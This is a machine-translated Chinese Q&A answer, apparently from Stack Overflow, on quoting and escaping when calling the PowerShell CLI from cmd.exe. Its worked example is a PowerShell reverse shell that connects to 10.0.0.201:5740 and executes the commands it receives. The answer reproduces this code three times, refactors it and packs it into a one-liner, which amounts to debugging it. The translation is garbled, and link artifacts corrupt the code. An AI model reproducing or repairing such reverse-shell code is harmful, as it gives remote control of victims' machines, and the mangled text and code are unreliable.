正如我的评论。打开任何PowerShell编辑器查看您的代码，看看您哪里出错了，因为编辑器会突出显示问题，早在您尝试运行之前。
这才是你真正拥有的：

Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client

Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | 
ForEach-Object{0}

while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
    Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data

    Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback

    Set-Variable -Value ($sendback + "PS " + (Get-Location).Path + "> ") -Name sendback2

    Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))

    $stream.Write($sendbyte, 0, $sendbyte.Length)

    $stream.Flush()
}
$client.Close()

我去掉了别名，因为别名通常不用于生产脚本。请参阅有关该主题的文档。别名适用于一次性代码和快速CLI内容。
除非你需要扩展变量或其他特殊的格式，否则简单的字符串就用单引号，尤其是当你把这类东西放在一行的时候，这样可以避免不必要的引用技巧。
所以，稍微重构一下应该可以让它工作。

Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client

Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | 
ForEach-Object{0}

while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
    Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data

    Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback

    Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2

    Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))

    $stream.Write($sendbyte, 0, $sendbyte.Length)

    $stream.Flush()
}
$client.Close()

将所有这些放在一行中，并通过cmd.exe调用powershell.exe运行，可能如下所示。

powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}

然而，只有你可以测试这个，因为我们这里没有人会有像你一样的环境。

PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
    [-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
    [-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
    [-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
    [-ConfigurationName <string>]
    [-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
    [-Command { - | <script-block> [-args <arg-array>]
                  | <string> [<CommandParameters>] } ]

PowerShell[.exe] -Help | -? | /?

...

EXAMPLES
    PowerShell -PSConsoleFile SqlSnapIn.Psc1
    PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
    PowerShell -ConfigurationName AdminRoles
    PowerShell -Command {Get-EventLog -LogName security}
    PowerShell -Command "& {Get-EventLog -LogName security}"

    # To use the -EncodedCommand parameter:
    $command = 'dir "c:\program files" '
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
    $encodedCommand = [Convert]::ToBase64String($bytes)
    powershell.exe -encodedCommand $encodedCommand

• • 更新**：

Your Reddit cross-post显示您正在尝试从PowerShell内部调用PowerShell CLI*：

• • • 通常 * 没有 * 很好的理由这样做，但是如果您确实需要**（例如，当您需要从 * PowerShell（Core）7 +* 调用 * Windows PowerShell * 时），**在脚本块 *（{ ... }）**内传递命令，这避免了令人头痛的引用问题，还支持（有限的）类型保真度（不仅仅是 * 字符串 *）-请参见this answer。
• 混淆的PowerShell一行程序有时被用于 * 邪恶 * 的目的，不用说，这是不应该被宽恕的。
• 在基于 * 字符串 * 的CLI调用中（您尝试了此操作），双引号需要将 * 转义为\"，才能被视为要执行的PowerShell命令的一部分-有关说明，请参见this answer。
• 当你使用"Unicode"（非ASCII）双引号时，比如“，转义就不需要了，原因在下面一节解释过，但是，这不应该依赖。
• 总的来说：如果您在脚本中使用非ASCII * 文本 *（如“），则必须确保PowerShell正确解释脚本文件的字符编码，对于UTF-8文件，这特别要求它们在 * Windows PowerShell * 中 * 具有BOM *-请参见this answer。
• • 以下讨论从cmd.exe/从 * PowerShell * 外部 * 调用PowerShell CLI * 的一般情况*。

左，右

• 不要尝试使用非ASCII范围的引号，如“和”（请参阅下面的部分了解原因）。
• 相反，请使用 * normal *（ASCII范围）双引号（"），并将其 * 转义为 * \"
• 切勿使用'...'封装传递到PowerShell CLI的PowerShell命令（在Windows上，从PowerShell外部），除非您的目的是创建 * string literal * 而不是执行命令。

从cmd.exe */*在PowerShell *[1]之外调用powershell.exe（Windows PowerShell CLI），使其按预期 * 工作的关键是：

• • • 不要 * 使用整个'...'引号**（单引号），因为PowerShell会将整个参数解释为 * 逐字字符串 * 而不是 * 命令 *。
• 最好使用整体"..."报价（见下文）。
• • • 不要 * 使用\作为转义字符-* 除非 * 用于转义"字符**（参见下文）。
• 不仅\ * 不 * 用作通用转义字符（在PowerShell和cmd.exe中都不是），[和] * 不 * 需要转义，因此，例如，\[byte\[\]\]应该只是[byte[]]。
• PowerShell的escape character是```，即所谓的反勾号，而cmd.exe的转义字符（仅在 * 无引号 * 参数中）是^。
• • • "您希望作为PowerShell命令一部分执行的字符必须 * 转义为 * \"**
• 转义"字符是一个要求，无论你是否使用整个"..."引号，但 * 没有 * 后者，它是 * 只有 * \"工作-见this answer，这也解释了 * 为什么 * 这种转义是必要的。
• • 使用 * 整个"..."引用，这通常是更可取的，因为cmd.exe然后（大多数情况下）* 不 * 解释内容，\"也可以工作，但仍然存在可能发生cmd.exe误解的边缘情况，在这种情况下，"-escaping的 * 替代 * 形式是解决方案：不幸的是，这种替代形式是特定于版本的："^""..."^""（原文如此）在 * Windows PowerShell * 中，""...""在 * PowerShell（核心）7 +* 中-请参阅this answer。
• • • 从cmd.exe/a批处理文件调用时，避免使用%**，除非您尝试引用cmd.exe样式的环境变量，例如%OS%：
• 在批处理文件中，要 * 传递 * 到PowerShell的%字符必须转义为%%
• 在 * 交互式 * cmd.exe会话中，%根本无法转义，%%将 * 按原样 * 传递。
• 因此，为了避免命令 * 破坏环境 *--取决于它们是从批处理文件还是从交互式会话调用的--如果可能的话，避免使用%;在这里，您可以使用foreach作为%作为ForEach-Objectcmdlet别名的替代方法（当然，您也可以使用完整的cmdlet名称）。

下面是一个简化的命令，它实现了上述所有提示：

:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"

您应该能够相应地修复您的命令（如问题中所示，它还有其他问题，与引用和转义无关）。

• • 关于使用 * 非ASCII （"Unicode"）双引号：*

• PowerShell-* internally *，则允许将非ASCII范围标点符号替换为ASCII范围标点符号：

• 正如您所发现的，“（左双引号，U+201C）和”（右双引号，U+201D）可以用来代替一对常规双引号（"）

• This answer概述了支持的所有替换。

• 相比之下，在PowerShell CLI的 * 命令行上，只有标准的ASCII范围双引号（"（QUOTATION MARK，U+0022））具有 * 语法功能，因此非ASCII范围“和”字符作为要执行的PowerShell命令的一部分 * 传递 *。

也就是说，使用非ASCII范围的“和”字符可以有效地避免对它们进行 * 转义 *-无论是在无引号的标记中还是在普通的"..."中
然而，这种行为是模糊的和视觉上微妙的，不应该依赖：相反，始终使用普通双引号，并将传递双引号转义为\"，如上所述。
顺便说一句：常规控制台窗口（conhost.exe）甚至不允许粘贴非ASCII范围的双引号：它们被转换为普通的。但是，您可以将它们粘贴到Windows终端和Windows运行对话框（WinKey-R）中。
[1]在PowerShell * 内部 *，很少需要调用PowerShell CLI;如果需要，最好的方法是将命令 * 作为脚本块 *（{ ... }）传递-参见this answer。